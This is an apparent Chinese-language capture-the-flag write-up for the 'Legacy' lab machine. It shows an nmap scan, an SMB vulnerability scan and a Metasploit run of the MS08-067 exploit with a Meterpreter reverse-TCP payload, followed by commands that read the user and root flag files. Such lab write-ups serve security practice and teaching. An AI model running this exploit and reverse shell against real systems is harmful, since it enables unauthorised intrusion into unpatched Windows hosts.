---

Legacy 测试过程

---

1 端口扫描

---

nmap -sC -sV 10.129.227.181

---

2 测试思路

---

  目标开启了135、139、445端口，445 SMB服务存在很多可利用漏洞，所以测试点先从445端口开始。而且在Nmap扫描结果中，可以看到系统是Windows XP，所以寻找Windows XP相关的SMB漏洞。

---

3 445端口漏洞测试

---

  1.搜索SMB服务相关漏洞

nmap -p 445 --srcipt vuln 10.129.227.181

  2.漏洞exploit

search exploit/windows/smb

  在输出中存在很多可利用exploit

 use exploit/windows/smb/ms08_067_netapi set payload windows/meterpreter/reverse_tcpset rhosts 10.129.227.181set rport 445run

---

4 flag

---

type C:\Documents and Settings\john\Desktop\user.txt
type  C:\Documents and Settings\Administrator\Desktop\root.txt